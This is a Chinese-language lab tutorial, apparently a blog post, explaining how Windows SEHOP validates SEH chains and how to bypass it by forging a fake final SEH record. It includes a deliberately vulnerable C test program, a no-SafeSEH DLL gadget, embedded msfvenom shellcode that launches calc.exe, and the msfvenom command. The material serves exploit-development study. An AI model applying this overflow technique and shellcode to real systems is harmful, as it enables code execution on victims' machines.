1.1    SEHOP保护机制

1.1.1    SEHOP工作原理:

SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下:

BOOL RtlIsValidHandler(handler)

{

if (handler is in an image) {

if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)

return FALSE;

if (image has a SafeSEH table)

if (handler found in the table)

return TRUE;

else

return FALSE;

if (image is a .NET assembly with the ILonly flag set)

return FALSE;

// fall through

}

if (handler is on a non-executable page) {

if (ExecuteDispatchEnable bit set in the process flags)

return TRUE;

else

// enforce DEP even if we have no hardware NX

raise ACCESS_VIOLATION;

}

if (handler is not in an image) {

if (ImageDispatchEnable bit set in the process flags)

return TRUE;

else

return FALSE; // don't allow handlers outside of images

}

// everything else is allowed

return TRUE;

}

[...]

// Skip the chain validation if the

DisableExceptionChainValidation bit is set

if (process_flags & 0x40 == 0) {

// Skip the validation if there are no SEH records on the

// linked list

if (record != 0xFFFFFFFF) {

// Walk the SEH linked list

do {

// The record must be on the stack

if (record < stack_bottom || record > stack_top)

goto corruption;

// The end of the record must be on the stack

if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)

goto corruption;

// The record must be 4 byte aligned

if ((record & 3) != 0)

goto corruption;

handler = record->handler;

// The handler must not be on the stack

if (handler >= stack_bottom && handler < stack_top)

goto corruption;

record = record->next;

} while (record != 0xFFFFFFFF);

// End of chain reached

// Is bit 9 set in the TEB->SameTebFlags field?

// This bit is set in ntdll!RtlInitializeExceptionChain,

// which registers FinalExceptionHandler as an SEH handler

// when a new thread starts.

if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {

// The final handler must be ntdll!FinalExceptionHandler

if (handler != &FinalExceptionHandler)

goto corruption;

}

}

}

在程序转入异常处理前,SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数,如果是,则说明这条SEH链没有被破坏,程序可以去执行道歉的异常处理函数,如果检测到最后一个异常处理函数不是终极异常处理函数,那说明SHE链被破坏,程序将不会执行当前的异常处理函数。

1.1.2    SEHOP绕过思路:

作为SafeSEH强有力的补充,SEHOP检查是在RtlIsVaildHandler函数校验前进行的,也就是说之前我们绕过SafeSEH机制用到过的利用加载模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。

那么面对新的挑战,应该怎么办?

l  攻击返回地址或者虚函数

l  利用未启用SEHOP的模块

l  伪造SHE链

1.1.3    通过伪造SEHOP链绕过SEHOP保护机制

⑴.  原理分析:

SEHOP的原理就是检测SEH链中最后一个异常处理函数的指针是否指向一个固定的终极异常处理函数,那么,我们在在溢出是伪造一个SEH链,就可以绕过SEHOP了。

⑵.环境准备:

i.实验代码:

生成没有SafeSEH保护的dll文件的代码。

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)

{

return TRUE;

}

void jump()

{

__asm{

pop eax

pop eax

retn

}

}

生成没有ASLR和DEP保护的exe文件。

#include "stdafx.h"

#include <string.h>

#include <windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2c\xFF\x12\x00"//address of last seh record

"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"

"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"

"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"

"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"

"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

"\x90\x90\x90"

"\xFF\xFF\xFF\xFF"// the fake seh record

"\x95\xe1\xbd\x77"

;

DWORD MyException(void)

{

printf("There is an exception");

getchar();

return 1;

}

void test(char * input)

{

char str[200];

//strcpy(str,input);

memcpy(str,input,460);

int zero=0;

__try

{

zero=1/zero;

}

__except(MyException())

{

}

}

int _tmain(int argc, _TCHAR* argv[])

{

HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module

char str[200];

//__asm int 3

test(shellcode);

return 0;

}

ii.测试环境:

测试平台:Windows 7 32位

注册表设置DisableExceptionChainVaildation值为0。

开启SEHOP保护机制。

编译环境:

编译器:visual 2008

exe文件:

关闭ASLR,DEP。

Dll文件:

不开启任何的保护机制。

⑶.调试分析:

i.查看缓冲区溢出前的SEH链:

得到,第一个异常处理函数指针为0x0012fe58,最终SEH链异常处理函数值为0x77bde195。

ii.确定缓冲区大小:

缓冲区从0x0012fd80开始,大小为0xd8=216字节。

iii.跳板地址:

还是用之前的OllyFindAddr插件,得到PPR跳板地址:0x11121012

⑷.攻击过程:

i.计算溢出量:

我们的目的是用跳板地址覆盖函数返回地址以达到控制EIP的目的,是程序挑战到payload执行。

为什么不直接用payload的起始地址覆盖返回地址?

因为,exe文件的异常处理函数是有SafeSEH保护机制保护的,直接覆盖会报错的。而dll文件没有SafeSEH机制的保护,所以可以利用dll文件中的指令作为跳板,控制EIP。

溢出量 =异常处理函数指针–缓冲区起始地址= 0x0012fe58-0x0012fd80=216字节。

ii.伪造SEH链

为了绕过SEHOP保护机制,就应该伪造一个最终的异常处理函数,这个最终的异常处理函数应该符合以下要求:

l  伪造最终异常处理函数指针应该与真实的相同(0x77bde195)

l  伪造最终异常处理函数指针前4字节(SEH链指针)应为0xFFFFFFFF

l  SEH链指针地址应该能被4整除(SEHOP工作原理中介绍的验证函数中可以看到相关的判断)。

iii.生成payload

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

iv.构造shellcode

综上所述,shellcode结构如下:

v.执行攻击

成功。

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制的更多相关文章

  1. 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR

    ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  3. Swift - 二进制,八进制,十六机制的表示方法

    当前位置: 首页 > 编程社区 > Swift > Swift - 二进制,八进制,十六机制的表示方法 Swift - 二进制,八进制,十六机制的表示方法 2015-01-23 14 ...

  4. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  5. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  6. 逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试

    GS简介: Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断 ...

  7. UAC 实现原理及绕过方法-打洞专用

    首页 新随笔 订阅 管理 随笔 - 7  文章 - 0  评论 - 0 UAC 实现原理及绕过方法   目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...

  8. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

  9. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

随机推荐

  1. Spark --【宽依赖和窄依赖】

    前言 Spark中RDD的高效与DAG图有着莫大的关系,在DAG调度中需要对计算过程划分stage,暴力的理解就是stage的划分是按照有没有涉及到shuffle来划分的,没涉及的shuffle的都划 ...

  2. 20145316《Java程序设计》实验二报告

    20145316<Java程序设计>实验二报告 一.实验目的与要求 1.初步掌握单元测试和TDD. 2.理解并掌握面向对象三要素:封装.继承.多态. 3.初步掌握UML建模. 4.熟悉S. ...

  3. Python3.x:BeautifulSoup()解决中文乱码问题

    Python3.x:BeautifulSoup()解决中文乱码问题 问题: BeautifulSoup获取网页内容,中文显示乱码: 解决方案: 遇到情况也是比较奇葩,利用chardet获取网页编码,然 ...

  4. saltstack之keepalived的安装配置

    使用saltstack编译安装keepalived: 创建相应的目录,并在目录下创建相应的sls配置文件 [root@node1 ~]# mkdir /srv/salt/prod/keepalived ...

  5. 20145333《Java程序设计》第3次实验报告

    20145333<Java程序设计>第3次实验报告 实验内容 使用 git 上传代码 使用 git 相互更改代码 实现代码的重载 实验步骤 git设置用户名邮箱,ssh公钥 用git上传代 ...

  6. spring定时器(注解的形式)

    最近有个需求,要在凌晨的时候,根据某几张表生成一张定时任务表里的数据,数据的状态为0(未整改),然后在当天晚上,再把这些数据的状态没改变的,改变状态为1(待整改),然后要用到定时器,百度了一下用注解形 ...

  7. 分布式缓存DistributedCache

    本文是对MR案例:Map-Join的解读. 在hadoop中,共享全局变量或全局文件的几种方法 使用Configuration的set()方法,只适合数据内容比较小的场景 将缓存文件放在HDFS上,每 ...

  8. SpringMVC,针对不支持PUT、DELETE提交的游览器处理方式

    在REST服务中必不可少的需要PUT.DELETE提交,但是目前很多的游览器并不支持.所以在使用REST前需要进行一些额外的处理. 具体解决方案如下: 1,先添加一个filter.这个filter就是 ...

  9. [PyTorch]PyTorch中反卷积的用法

    文章来源:https://www.jianshu.com/p/01577e86e506 pytorch中的 2D 卷积层 和 2D 反卷积层 函数分别如下: class torch.nn.Conv2d ...

  10. 【cs231n】神经网络学习笔记1

    神经网络推荐博客: 深度学习概述 神经网络基础之逻辑回归 神经网络基础之Python与向量化 浅层神经网络 深层神经网络 前言 首先声明,以下内容绝大部分转自知乎智能单元,他们将官方学习笔记进行了很专 ...